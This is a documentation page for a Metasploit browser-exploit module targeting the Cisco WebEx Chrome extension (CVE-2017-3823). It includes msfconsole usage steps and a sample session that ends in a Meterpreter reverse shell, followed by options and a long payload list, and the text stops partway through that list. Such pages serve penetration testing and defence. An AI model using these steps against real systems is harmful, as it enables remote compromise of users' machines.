Cisco WebEx Chrome Extension RCE (CVE-2017-3823) - Metasploit
This page contains detailed information about how to use the exploit/windows/browser/cisco_webex_ext metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Cisco WebEx Chrome Extension RCE (CVE-2017-3823)
Module: exploit/windows/browser/cisco_webex_ext
Source code: modules/exploits/windows/browser/cisco_webex_ext.rb
Disclosure date: 2017-01-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-3823
This module exploits a vulnerability present in the Cisco WebEx Chrome Extension version 1.0.1 which allows an attacker to execute arbitrary commands on a system.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/browser/cisco_webex_ext
msf exploit(cisco_webex_ext) > exploit
Knowledge Base
Vulnerable Application
Cisco WebEx is a suite of applications for online meeting organization and video conferencing. Included in this suite are extensions for popular web browsers which ease use and provide supplemental features.
Version 1.0.1 of the WebEx extension for Google Chrome contains a vulnerability which allows an attacker to execute arbitrary commands on a target, which can lead to arbitrary remote code execution.
Cisco WebEx Chrome Extension 1.0.1 is known to be affected.
Verification Steps
- Start msfconsole
- Do:
use exploit/windows/browser/cisco_webex_ext - Do:
set SRVHOST [IP ADDRESS] - Do:
set SRVPORT [PAYLOAD NAME] - Do:
set URIPATH [ARBITRARY URI] - Do:
Choose a payload and set any specific options - Do:
run, after a target browses to the generated URL, you should receive a session like the following:
Scenarios
msf > use exploits/windows/browser/cisco_webex_ext
msf exploit(cisco_webex_ext) > set srvhost 10.6.0.151
srvhost => 10.6.0.151
msf exploit(cisco_webex_ext) > set srvport 4567
srvport => 4567
msf exploit(cisco_webex_ext) > set uripath not_a_very_good_meeting
uripath => not_a_very_good_meeting
msf exploit(cisco_webex_ext) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.6.255.229:4444
[*] Using URL: https://10.6.0.151:4567/not_a_very_good_meeting
[*] Server started.
msf exploit(cisco_webex_ext) > [*] 10.6.0.151 cisco_webex_ext - Got request: /not_a_very_good_meeting
[*] 10.6.0.151 cisco_webex_ext - From: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
[*] 10.6.0.151 cisco_webex_ext - Got request: /not_a_very_good_meeting/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html
[*] 10.6.0.151 cisco_webex_ext - From: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
[*] 10.6.0.151 cisco_webex_ext - Sending exploit html ...
[*] 10.6.0.151 cisco_webex_ext - Got request: /not_a_very_good_meeting/qt3iFe8N
[*] 10.6.0.151 cisco_webex_ext - From:
[*] 10.6.0.151 cisco_webex_ext - Sending payload ...
[*] Sending stage (957487 bytes) to 10.6.255.229
[*] Meterpreter session 1 opened (10.6.255.229:4444 -> 10.6.255.229:57472) at 2017-01-26 13:27:28 -0600
msf exploit(cisco_webex_ext) >
Go back to menu.
Msfconsole Usage
Here is how the windows/browser/cisco_webex_ext exploit module looks in the msfconsole:
msf6 > use exploit/windows/browser/cisco_webex_ext
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/cisco_webex_ext) > show info
Name: Cisco WebEx Chrome Extension RCE (CVE-2017-3823)
Module: exploit/windows/browser/cisco_webex_ext
Platform: Windows
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2017-01-21
Provided by:
Tavis Ormandy <[email protected]>
William Webb <[email protected]>
Available targets:
Id Name
-- ----
0 Cisco WebEx Extension 1.0.1
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a vulnerability present in the Cisco WebEx
Chrome Extension version 1.0.1 which allows an attacker to execute
arbitrary commands on a system.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-3823
Module Options
This is a complete list of options available in the windows/browser/cisco_webex_ext exploit:
msf6 exploit(windows/browser/cisco_webex_ext) > show options
Module options (exploit/windows/browser/cisco_webex_ext):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Cisco WebEx Extension 1.0.1
Advanced Options
Here is a complete list of advanced options supported by the windows/browser/cisco_webex_ext exploit:
msf6 exploit(windows/browser/cisco_webex_ext) > show advanced
Module advanced options (exploit/windows/browser/cisco_webex_ext):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/browser/cisco_webex_ext module can exploit:
msf6 exploit(windows/browser/cisco_webex_ext) > show targets
Exploit targets:
Id Name
-- ----
0 Cisco WebEx Extension 1.0.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/browser/cisco_webex_ext exploit:
msf6 exploit(windows/browser/cisco_webex_ext) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
59 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
60 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
61 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
62 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
63 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
64 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
65 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
66 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
67 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
68 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
70 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
71 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
72 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
73 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
74 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
75 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
76 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
77 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
78 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
79 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
80 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
81 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
82 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
83 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
84 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
85 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
86 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
88 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
89 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
90 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
91 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
92 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
93 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
94 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
95 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
96 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
97 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
98 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
99 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
100 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
101 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
102 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
103 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
104 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
105 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
106 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
107 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
108 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
109 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
110 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
111 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
112 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
113 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
114 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
115 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
116 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
117 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
118 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
119 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
120 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
121 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
122 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
123 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
124 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
125 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
126 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
127 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
128 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
129 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
130 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
131 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
132 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
133 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
134 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
135 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
136 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
137 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
138 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
139 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
140 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
141 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
142 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
143 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
144 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
145 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
146 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
147 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
148 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
149 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
150 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
151 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
152 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
153 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
154 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
155 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
156 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
157 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
158 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
159 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
160 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
161 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
162 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
163 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
164 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
165 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
166 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
167 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
168 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
169 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
170 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
172 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
173 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
174 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
175 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
176 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
177 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
